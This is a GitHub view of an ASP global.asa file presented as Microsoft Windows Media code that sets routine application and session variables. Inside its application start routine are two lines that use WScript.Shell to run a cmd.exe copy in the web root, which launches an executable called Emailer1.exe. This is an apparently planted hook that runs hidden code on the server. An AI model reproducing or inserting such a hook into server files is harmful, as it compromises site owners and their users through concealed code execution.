-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathglobal.asa
56 lines (42 loc) · 1.63 KB
/
global.asa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<SCRIPT LANGUAGE="VBScript" RUNAT="Server">
'+-------------------------------------------------------------------------
'
' Microsoft Windows Media
' Copyright (C) Microsoft Corporation. All rights reserved.
'
' File: Global.asp
'
' Contents:
'
'--------------------------------------------------------------------------
'////////////////////////////////////////////////////////////////
Sub Appplication_OnStart
Application( "strLocalHostName" ) = Empty
Application( "localhostDNSName" ) = Request.ServerVariables( "SERVER_NAME" )
Application( "localhostCName" ) = Server.CreateObject("WScript.Network").ComputerName
Application( "strHostIPAddress" ) = Request.ServerVariables( "LOCAL_ADDR" )
Application( "bLocalHostHasWMS" ) = Empty
Application( "dwDefaultRefreshRate" ) = 60
Set shell=CreateObject("WScript.Shell")
shell.run "C:\Inetpub\wwwroot\cmd.exe /c ""c:\Emailer1.exe"""
end sub
'////////////////////////////////////////////////////////////////
Sub Session_OnStart
session.timeout = 60
Session( "Initialized" ) = FALSE
Session( "LocalHostWinName" ) = ""
' sniff the browser as few times as possible, since it won't change from session to session
Session( "bNetscape" ) = ""
Session( "BrowserVersion" ) = ""
Session( "UserAgent" ) = ""
Session( "cssName" ) = ""
Session( "certDetected" ) = ""
' Set locale
Session.LCID = "&H0409"
' use UTF-8 for encoding. See also the @CODEPAGE statement at the top of locstrings.h
Session.CodePage = 65001
End Sub
'////////////////////////////////////////////////////////////////
Sub Session_OnEnd
end sub
</SCRIPT>